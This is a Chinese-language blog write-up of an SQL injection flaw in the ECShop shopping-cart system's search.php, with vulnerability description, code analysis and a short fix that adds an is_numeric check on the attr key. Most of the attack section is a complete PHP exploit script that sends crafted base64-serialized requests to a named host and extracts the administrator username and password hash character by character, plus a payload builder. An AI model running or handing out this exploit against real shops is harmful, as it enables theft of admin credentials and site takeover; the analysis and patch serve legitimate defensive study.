• ecshop /search.php SQL Injection Vul


    catalog

    1. 漏洞描述
    2. 漏洞触发条件
    3. 漏洞影响范围
    4. 漏洞代码分析
    5. 防御方法
    6. 攻防思考

    1. 漏洞描述

    ECSHOP商城系统Search.php页面过滤不严导致SQL注入漏洞

    Relevant Link:

    http://sebug.net/vuldb/ssvid-62317


    2. 漏洞触发条件

    0x1: POC

    <?php
        ini_set("max_execution_time",0);
        error_reporting(7);
         
        function usage()
        {
            global $argv;
            exit(
            "
    --+++============================================================+++--".
            "
    --+++====== ECShop Search.php SQL Injection Exploit========+++--".
            "
    --+++============================================================+++--".
            "
    
    [+] Author: jannock".
            "
    [+] Team: [url]http://wavdb.com/[/url]".
            "
    [+] Usage: php ".$argv[0]." <hostname> <path> <goods_id>".
            "
    [+] Ex.: php ".$argv[0]." localhost / 1".
            "
    
    ");
        }
         
        function query($pos, $chr, $chs,$goodid)
        {
            switch ($chs)
            {
                case 0:
                    $query = "1=1";
                    break;
                case 1:
                    $query = " ascii(substring((select user_name from ecs_admin_user limit
                    0,1),{$pos},1))={$chr}";
                    break;
                case 2:
                    $query = " ascii(substring((select password from ecs_admin_user limit
                    0,1),{$pos},1))={$chr}";
                    break;
                case 3:
                    $query = " length((select user_name from ecs_admin_user limit 0,1))={$pos}";
                    break;
            }
            $list=array("1' or 1=1) and 1=2 GROUP BY goods_id HAVING num = '1' union select $goodid,1 from ecs_admin_user where 1=1 and ". $query ."/*"=>"1");
            $query = array("attr"=>$list);
            $query = str_replace('+', '%2b', base64_encode(serialize($query)));
            return $query;
        }
         
        function exploit($hostname, $path, $pos, $chr, $chs,$goodid)
        {
            $chr = ord($chr);
            $conn = fsockopen($hostname, 80);
             
            $message = "GET ".$path."/search.php?encode=".query($pos, $chr, $chs,$goodid)." HTTP/1.1
    ";
            $message .= "Host: $hostname
    ";
            $message .= "Connection: Close
    
    ";
             
            fwrite($conn, $message);
            while (!feof($conn))
            {
                $reply .= fgets($conn, 1024);
            }
            fclose($conn);
            return $reply;
        }
         
         
        function crkusername($hostname, $path, $chs,$goodid)
        {
            global $length;
            $key = "abcdefghijklmnopqrstuvwxyz0123456789";
            $chr = 0;
            $pos = 1;
            echo "[+] username: ";
            while ($pos <= $length)
            {
                $response = exploit($hostname, $path, $pos, $key[$chr], $chs,$goodid); 
                if (preg_match ("/javascript:addToCart/i", $response))
                {
                    echo $key[$chr];
                    $chr = 0;
                    $pos++;
                }
                else
                    $chr++;
            }
            echo "
    ";
        }
         
        function crkpassword($hostname, $path, $chs,$goodid)
        {
            $key = "abcdef0123456789";
            $chr = 0;
            $pos = 1;
            echo "[+] password: ";
            while ($pos <= 32)
            {
                $response = exploit($hostname, $path, $pos, $key[$chr], $chs,$goodid);
                if (preg_match ("/javascript:addToCart/i", $response))
                {
                    echo $key[$chr];
                    $chr = 0;
                    $pos++;
                }
                else
                    $chr++;
            }
            echo "
    
    ";
        }
         
        function lengthcolumns($hostname, $path,$chs, $goodid)
        {
            echo "[+] username length: ";
            $exit = 0;
            $length = 0;
            $pos = 1;
            $chr = 0;
            while ($exit==0)
            {
                $response = exploit($hostname, $path, $pos, $chr, $chs,$goodid);
                if (preg_match ("/javascript:addToCart/i", $response))
                {
                    $exit = 1;
                    $length = $pos;
                    break;
                }
                else
                {
                    $pos++;
                    if($pos>20)
                    {
                        exit("Exploit failed");
                    }
                }
            }
            echo $length."
    ";
            return $length;
        }
         
         
        if ($argc != 4)
            usage();
        $hostname = $argv[1];
        $path = $argv[2];
        $goodid = $argv[3];
        $length = lengthcolumns($hostname, $path, 3, $goodid);
        crkusername($hostname, $path, 1,$goodid);
        crkpassword($hostname, $path, 2,$goodid);
     
    ?>

    可自行构造encode的值进行注入

    <?php
        $list=array("1' or 1=1) and 1=2 GROUP BY goods_id HAVING num = '1' /*"=>"yy");
        $string = array("attr"=>$list);
        $string = str_replace('+', '%2b', base64_encode(serialize($string)));
        die($string);
    ?> 

    Relevant Link:

    http://sebug.net/vuldb/ssvid-68687


    3. 漏洞影响范围
    4. 漏洞代码分析

    /search.php

    ..
    $string = base64_decode(trim($_GET['encode']));   //37行
    ..
    //addslashes_deep 只能参数值进行过滤
    $_REQUEST = array_merge($_REQUEST, addslashes_deep($string));   //69行
    ..
    if (!empty($_REQUEST['attr']))
    {
        $sql = "SELECT goods_id, COUNT(*) AS num FROM " . $ecs->table("goods_attr") . " WHERE 0 ";
        foreach ($_REQUEST['attr'] AS $key => $val)
        {
            if (is_not_null($val))
            {
                $attr_num++;
                $sql .= " OR (1 ";
    
                if (is_array($val))
                {
                    //$key是$_REQUEST['attr'] 的键值,就是这里没有过滤,直接进入SQL查询,造成SQL注入漏洞
                    $sql .= " AND attr_id = '$key'";

    Relevant Link:

    http://sebug.net/vuldb/ssvid-19640


    5. 防御方法

    /search.php

    if (!empty($_REQUEST['attr']))
    {
        $sql = "SELECT goods_id, COUNT(*) AS num FROM " . $ecs->table("goods_attr") . " WHERE 0 ";
        foreach ($_REQUEST['attr'] AS $key => $val)
        {
            /* 对key值进行注入判断 is_numeric($key)*/
            if (is_not_null($val) && is_numeric($key))
            {


    6. 攻防思考

    Copyright (c) 2015 LittleHann All rights reserved

  • 相关阅读:
    代码空间项目 -- InstantiationException的异常
    代码空间项目 -- 窗口移动
    代码空间项目 -- alert窗口自定义
    代码空间项目 -- 获取当前时间之前的某一天-Calender类的使用
    代码空间项目 -- cookie的基本使用
    Hibernate主要查询方式
    关于hibernate配置步骤
    线程创建后为什么要调用CloseHandle
    C++子类父类构造函数的关系
    socket API CSocket CAsyncSocket 用法及区别
  • 原文地址:https://www.cnblogs.com/LittleHann/p/4524063.html
Copyright © 2020-2023  润新知